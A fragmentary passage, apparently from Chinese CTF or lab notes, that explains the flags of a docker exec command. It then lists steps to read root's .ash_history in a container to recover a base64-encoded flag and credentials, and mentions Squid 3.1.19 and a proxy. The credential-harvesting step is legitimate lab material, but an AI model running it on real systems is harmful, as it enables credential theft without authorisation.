:该命令用于显示系统上网络接口的信息。
sudo docker ps 列出机器上运行的 docker 进程
sudo docker exec -it 41326f523808 /bin/bash 先试试ftp的
-
sudo
:这用于以提升的权限运行 Docker 命令。 -
docker exec
:这是在正在运行的 Docker 容器中执行命令的命令。 -
-it
:这些选项用于分配伪 TTY(终端)并保持 STDIN 打开,允许您与容器交互。代表-i
“交互式”,代表-t
“终端”。 -
41326f523808
:这是要在其中执行命令的 Docker 容器的 ID。容器 ID 对于每个正在运行的容器来说都是唯一的。 -
/bin/bash``bash
:这是您要在 Docker 容器内执行的命令 ( )。它在指定容器内启动交互式 Bash shell。cd /root ls -liah cat .ash_history读取它并获取以 Base64 编码的标志和凭据。
squid3.1.19
加个代理就可以了